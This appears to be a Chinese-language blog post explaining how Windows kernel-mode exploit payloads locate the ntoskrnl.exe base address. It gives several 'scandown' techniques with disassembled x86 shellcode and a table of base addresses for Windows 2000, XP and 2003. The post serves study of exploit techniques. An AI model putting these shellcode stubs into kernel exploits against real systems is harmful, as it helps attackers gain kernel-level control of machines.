大多数用户态Payload会首先定位kernel32.dll的基址,而在内核态下为ntoskrnl.exe(又简称nt)。nt是windows内核的核心,并为驱动程序提供核心接口,对于内核Payload来说,定位ntoskrnl.exe的基址有利于定位其导出函数。
其中一种方法是在nt的内存映射区域内向低地址扫描直到找到“MZ”标志,又称“scandown",在实现中为了优化,采用PAGE_SIZE大小递减,不过会增加4个字节存储空间,如果对Payload的大小有限制,也可以采用一个一个字节查找。如果开启/3G启动标志,则这种方法可能失效。
- IDT Scandown 从IDT handler的high-order word开始查找,然后一个字节一个字节查找:
- KPRCB IdleThread Scandown 另一种方法是从当前的KPCR的KPCRB中IdleThread属性,这个属性总是指向nt中的一个全局变量。
- SYSENTER_EIP_MSR Scandown 适用环境:XP, 2003 (modern processors only)
- Known Portable Base Scandown 适用环境:2000, XP, 2003 SP0
00000000 8B3538F0DFFF mov esi,[0xffdff038]
00000006 AD lodsd
00000007 AD lodsd
00000008 48 dec eax
00000009 81384D5A9000 cmp dword [eax],0x905a4d
0000000F 75F7 jnz 0x8
如果nt基址恰好没有和4字节吻合,那么上面的搜索方式可能会出错,如果DF位没有清空,也可能出错,并且字节序中包含NULL字节。采用PAGE_SIZE搜索的方式可以消除这些问题:
00000000 6A38 push byte +0x38
00000002 5B pop ebx
00000003 648B03 mov eax,[fs:ebx]
00000006 8B4004 mov eax,[eax+0x4]
00000009 662501F0 and ax,0xf001
0000000D 48 dec eax
0000000E 6681384D5A cmp word [eax],0x5a4d
00000013 75F4 jnz 0x9
00000000 A12CF1DFFF mov eax,[0xffdff12c]
00000005 662501F0 and ax,0xf001
00000009 48 dec eax
0000000A 6681384D5A cmp word [eax],0x5a4d
0000000F 75F4 jnz 0x5
如果处理器支持系统调用MSR 0x176 (SYSENTER_EIP_MSR),从返回的系统调用句柄开始查找:
00000000 6A76 push byte +0x76
00000002 59 pop ecx
00000003 FEC5 inc ch
00000005 0F32 rdmsr
00000007 662501F0 and ax,0xf001
0000000B 48 dec eax
0000000C 6681384D5A cmp word [eax],0x5a4d
00000011 75F4 jnz 0x7
nt的内存映射基址有个地址范围,其和系统版本有关,0x8050babe对前三种都适用:
00000000 B8BEBA5080 mov eax,0x8050babe
00000005 662501F0 and ax,0xf001
00000009 48 dec eax
0000000A 6681384D5A cmp word [eax],0x5a4d
0000000F 75F4 jnz 0x5
Platform Base Address End Address Windows 2000 SP4 0x80400000 0x805a3a00 Windows XP SP0 0x804d0000 0x806b3f00 Windows XP SP2 0x804d7000 0x806eb780 Windows 2003 SP1 0x80800000 0x80a6b000
No comments :
Post a Comment